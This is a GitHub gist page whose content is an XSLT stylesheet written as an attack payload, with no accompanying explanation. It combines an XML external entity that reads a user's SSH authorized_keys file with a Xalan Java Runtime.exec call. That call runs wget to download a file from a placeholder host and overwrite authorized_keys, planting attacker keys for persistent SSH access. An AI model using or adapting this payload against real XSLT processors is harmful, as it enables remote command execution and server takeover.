Created
May 8, 2020 18:44
-
-
Save numanturle/ee0151e68f98e518f3a9b9c00306a3c4 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="utf-8"?> | |
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "file:///home/xxx/.ssh/authorized_keys">]> | |
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> | |
<xsl:output method="xml" omit-xml-declaration="yes"/> | |
<xsl:template match="/" | |
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" | |
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"> | |
<root> | |
<xsl:variable name="cmd"><![CDATA[wget http://xxxx/geldi -O /home/xxx/.ssh/authorized_keys]]></xsl:variable> | |
<xsl:variable name="rtObj" select="rt:getRuntime()"/> | |
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/> | |
Islem: <xsl:value-of select="$process"/> | |
&ext_file;: <xsl:value-of select="$cmd"/> | |
</root> | |
</xsl:template> | |
</xsl:stylesheet> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment